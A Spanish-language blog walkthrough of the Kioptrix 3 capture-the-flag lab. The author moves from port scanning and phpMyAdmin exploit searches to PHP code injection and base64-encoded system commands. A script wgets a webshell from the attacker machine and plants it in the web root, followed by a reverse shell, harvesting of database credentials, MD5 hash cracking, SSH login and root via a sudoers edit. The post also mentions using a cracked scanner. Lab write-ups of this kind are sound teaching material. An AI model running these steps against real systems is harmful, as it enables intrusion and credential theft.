viernes, 24 de febrero de 2012

Kioptrix3 Un solucionario confuso!!!

Bienvenidos una vez mas....

En esta ocasión les traigo el solucionario producto de la colaboración en el proyecto sec-track, lo llamo un solucionario confuso debido a que en el momento en que 4v4t4r lo posteo en sec-track  hacia referencia al entorno de kioptrix pero versión 4, sin embargo no sé porque al final termine dándole solución a la versión 3, no siendo más manos a la obra!!!

Iniciamos con un el típico barrido de pings para identificar los host que están arriba

#nmap –sP  192.168.223.1-255

una vez identificado el objetivo en mi caso la maquina con IP 192.168.223.131, realizamos el respectivo escaneo de puertos identificando versión de servicios y sistema operativo del objetivo


Como se puede ver en el objetivo está corriendo un servidor apache así como el servicio ssh, en este punto se puede llegar a pensar en ataque de fuerza bruta usando herramientas como hydra, medussa y otras más, sin embargo la información en este punto no es la suficiente para esto!!!
De modo que abrimos nuestro navegador web y nos dirigimos al sitio web del objetivo en cuestión




Con el fin de identificar algunos directorios y archivos en el objetivo, verificamos los diferentes enlaces del menú del mismo y de las diferentes páginas encontrando errores que nos dan información de la estructura de directorios del servidor


pero al final usamos una vez más dirbuster con la intensión de identificar la estructura de directorios y archivos del sitio web


Al identificar el directorio de inmediato verificamos la versión de phpmyadmin a través del navegador web



Con base en esta informacion podemos  realizar la búsqueda de algunos fallos de esta versión especifica de phpmyadmin y porque no uno que otro exploit

root@bt:/#cd  /pentest/exploits/exploitdb
root@bt:/pentest/exploits/exploitdb#./searchsploit phpmyadmin
 Description                                                                 Path
--------------------------------------------------------------------------- -------------------------
phpMyAdmin 2.5.7 Remote code injection Exploit                              /php/webapps/309.c
phpMyAdmin 2.6.4-pl1 Remote Directory Traversal Exploit                     /php/webapps/1244.pl
phpMyAdmin 3.1.0 (XSRF) SQL Injection Vulnerability                         /php/webapps/7382.txt
phpMyAdmin (/scripts/setup.php) PHP Code Injection Exploit                  /php/webapps/8921.sh
pmaPWN! - phpMyAdmin Code Injection RCE Scanner & Exploit                   /php/webapps/8992.php
phpMyAdmin 2.6.3-pl1 Cross Site Scripting and Full Path                     /php/webapps/12642.txt
PhpMyAdmin Client Side 0Day Code Injection and Redirect Link Falsification  /php/webapps/15699.txt
PhpMyAdmin Config File Code Injection                                       /php/webapps/16913.rb
phpMyAdmin3 (pma3) Remote Code Execution Exploit                            /php/webapps/17510.py
phpMyAdmin3 (pma3) Remote Code Execution Exploit                            /php/webapps/17510.py
phpMyAdmin 3.x Swekey Remote Code Injection Exploit                         /php/webapps/17514.php
phpMyAdmin 3.x Swekey Remote Code Injection Exploit                         /php/webapps/17514.php

como ejemplo de uno de ellos  se tiene aquí un ataque de inyección de caracteres que por lo general permite ataques hacia el lado del cliente (muy útiles combinados con Ing Social)


Sin embargo para este caso me incline mas por usar para el análisis del sitio web en general una herramienta muy conocida que trabaja sobre entornos windows (no muestro nada de esta, debido a que para este caso instalé y probé una versión full-crack que encontré por ahí en la web) sin embargo una vez finalizado el escaneo me mostro mas de 10 alertas potenciales de las cuales solo 3 eran realmente útiles para comprometer el servidor hasta el punto de alcanzar el objetivo (acceso total a este) ya que habían algunas que permitían DoS o XSS el cual es un ataque más del lado del cliente

En este caso oriente mi vector de ataque a un fallo injeccion de código php de la página principal, de modo que tome la POC (prueba de concepto) que me dio esta herramienta y la modifique de modo que en este caso la inserción fuese la tan conocida función phpinfo() con la cual se puede obtener información importante de nuestro objetivo(miren la URL!!!)



Como en este caso la inyección fue satisfactoria, procedí a inyectar la función system que me permite ejecutar comandos del sistema a través de la pagina web, para este caso se probo ejecutando whoami cuyo resultado es evidente en la siguiente imagen


En este punto les comento que al tratar de ejecutar comandos que requerían caracteres especiales generaba errores de sintaxis, así fuese un simple
#ls –l
Lo cual complicaba las cosas ya que los comandos que necesitaba usar no lograban tener una ejecución satisfactoria(no pasaban del intérprete de php);  en este punto frente a esta situación trate de codificar enviando estos caracteres en hexadecimal pero el resultado era similar de modo que después de pensar un buen rato lejos del PC la única solución que encontré fue enviar los comandos codificados en base 64 al punto que estos fusen decodificarlos en tiempo de ejecución (aquí viene la parte de la pila de llamados pero eso se lo dejo de tarea).


Como pueden ver la imagen anterior es el resultado de enviar codificado en base64 el comando ya antes mencionado “ls –l” , en vista que mi prueba de concepto fue efectiva intente ejecutar el comando 

#wget http://192.168.223.130/shell.txt

pero el resultado no fue el esperado, lo cual era por permisos de escritura en el directorio de modo que se me ocurrió crear un archivo bash ejecutando los siguientes comandos codificados en base 64

echo “cd /tmp” > /tmp/script.sh
echo “wget http://192.168.223.130/shell.txt” >> /tmp/script.sh
echo “mv /tmp/shell.txt /home/www/kioptrix3.com/modules/shell.php” >> /tmp/script.sh

una vez hecho esto solo fue ejecutar el comando

bash /tmp/script.sh

al punto que volviendo desde el navegador web de la maquina atacante se logro acceso a la webshell que por medio de la ejecucion del script descargamos y movimos



Para evitar inconvenientes y tratar de realizar una conexión mas interactiva debido a que la conexión inversa desde la web shell falló (0 y van 2 veces), subimos la a través de esta la shell que nos permite una conexión inversa usada también en el solucionario del hackademic.rtb2


Una vez puesto en escucha en la maquina atacante el puerto 1503 renombramos la Shell a .php la ejecutamos y obtuvimos un acceso como el usuario antes identificado www-data


De modo que usando el comando

#uname –a 
obtuvimos información detallada de la maquina en cuestión

Desafortunadamente para este caso el servidor era administrado por un “juacker” que había blindado el sistema con el fin de evitar que alguien lograra escalar privilegios, de modo que los exploits que usé para escalar privilegios fallaron.

Esto se pudo verificar en el directorio de este usuario cuya ruta era
/home/loneferret/

En este directorio había dos archivos un script bash y un archivo de políticas que servirá mucho más adelante

El bash tenia de nombre checksec.sh
De modo que al ejecutarlo se obtuvo
#bash checksec.sh



Volviendo a la web Shell con el fin de recolectar mas información del sistema y sus usuarios decidí buscar la información de conexión a la base de datos de la aplicación web, pero en este punto y sin información del framework y/o plantilla usada, desde la web Shell ejecute un comando bastante “descabellado” (es algo grotesco o como dirían los desarrolladores un machetazo), pero que me arrojo resultados satisfactorios el comando usado fue
#cat */* grep pass



Una vez identificado el patrón de definición de variables del archivo de configuracion realice la busqueda filtrando por la palabra GLOBALS

#cat */* grep GLOBALS


En este punto tenemos el nombre de usuario y password de acceso a la base de datos, asi que de vuelta en el navegador accedemos a phpmyadmin y nos autenticamos, aquí se encontró la base de datos gallery


De inmediato verificamos la tabla de usuarios donde se encuentra un registro de usuario con nombre de usuario y password en texto plano (uich que mal!!!)



Adicional a esta tabla, se encontraba otra de interés una tabla llamada dev_accounts que por su nombre hace referencia a cuentas del equipo, en la cual se encontraron dos registros  con los campos username y password los cuales en este caso son hash md5 de los passwords, lo curioso del asunto es que uno de los nombres de usuario empata con un usuario del sistema (recuerdan la ruta de carpeta en la cual estaba aquel script?).


En este punto solo quedaba checkear a que paalabra correspondían los hash en cuestión, los cuales por sus características parecen ser MD5 (en dragonjar hay un post de cómo reconocer hash), de modo que accedemos a una de las tantas páginas de bases de datos esperando que los hash encontrados estuviesen ahí.






Lo bueno de este caso es que así fue, como las cuentas coincidían no quedaba de otra que intentar conectarnos por ssh usando esta información, de modo que no siendo mas…


…una vez digitamos la contraseña Bingo! un paso más,  ahora solo quedaba probar si el usuario actual hacia parte de los sudoers


Como podemos ver el usuario actual hace parte de la lista de sudoers, sin embargo no se tiene permisos para ejecutar cualquier comando, después de probar con otros comandos entre ellos 
#su
Pero como ven no se logro una ejecución satisfactoria…


…para continuar con el entorno y recolectar un poco más de información, accedí al archivo CompanyPolicy.README cuyo contenido es


Para los que no saben, al ejecutar algo usando sudo  te permite la ejecución del comando siguiente con los privilegios de otro usuario el cual por lo general es el usuario root, de modo que el uso de este editor ht como se lo sugieren (lo que dice en el archivo que acabamos de leer) es grave agujero, y en este caso lo que vamos a hacer es usar este editor para modificar ese archivo de sudoers en la ubicación /etc/passwd/sudoers


Iniciado el editor


Configurando el modo de visualización


Asignado todos los permisos al usuario loneferret, también habría servido quitar ese signo de admiración al binario su pero en mi caso muestro como asignarlos todos (borre todo lo que estaba después del punto de edición).

En seguida después de guardar los cambios y salir probamos la ejecución del comando ls


El cual se ejecuta de manera satisfactoria de modo que después de ejecutar el comando
#su
usando sudo, logramos pasar a ser root, en ese punto verificamos que usuario somos en ese momento


Una vez con los privilegios o mejor hechos "el todo poderoso" en nuestro entorno (root) vamos al directorio del mismo en el cual tenemos


Y para finalizar con este entorno simplemente vemos el archivo Congrats.txt


No siendo mas mis queridos lectores, espero y les haya gustado, si tienen dudas comentenlas y hasta la proxima!!!

Saludos a todos, quien les escribe

Carlos Andrés Rodallega Obando
@crodallega

No hay comentarios:

Publicar un comentario